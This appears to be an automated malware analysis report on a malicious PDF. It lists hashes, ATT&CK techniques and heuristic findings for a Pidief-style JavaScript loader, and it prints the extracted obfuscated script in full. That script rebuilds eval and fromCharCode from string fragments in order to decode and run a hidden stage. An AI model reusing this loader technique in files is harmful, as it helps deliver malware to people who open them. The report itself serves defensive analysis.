Malicious PDF — malware analysis report

Static analysis result for SHA-256 6ca366fce0f63030…

MALICIOUS

PDF

44.9 KB First seen: 2026-05-08
MD5: 5a84b834569369a09ecf3ee927600956 SHA-1: b7d7739c0976a26720cb7ed4a31da8d7bf81503c SHA-256: 6ca366fce0f63030cae239e55b23fa66e65fd07531fcb0fc5089e158c231f9b0
86 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1566.001 Spearphishing Attachment

The PDF document contains obfuscated JavaScript, identified by multiple heuristics as a loader. This script is designed to decode and execute a secondary payload, likely for further malicious activity. The ML classifier strongly indicates maliciousness, and the presence of embedded JavaScript points to a common technique for delivering malware.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB0DE 450 bytes
SHA-256: e4f922d550efa9e3c10f17349a09de43fb112593828e3a751fa3b8cb8b7cfe86
Preview script
First 1,000 lines of the extracted script
qwe = ('nhsthn','ntrht').substr;
var g = qwe();
t='le';
a=["e","a","n","b","w",'v'];
e=g[a[0]+a[5]+a[1]+t[0]];
spb='';
cpyk=('qwrwqr','tit');
e('dsnuu=t'+('qwtwqt','hisundefined').replace(typeof qwe.dagb,'.')+'tit'+t);
uaqqu=e('String.fr'+dsnuu.substr(0,10));
dfubn = e(dsnuu.substr(10)['replace'](/u/g,','));
e('k=dfubn.length');
for (i = 0; i < k; i+=2) {
	foi = dfubn[i+1] + ('erybjkerl',dfubn[i]);
	spb += uaqqu(foi);
}
e(spb);

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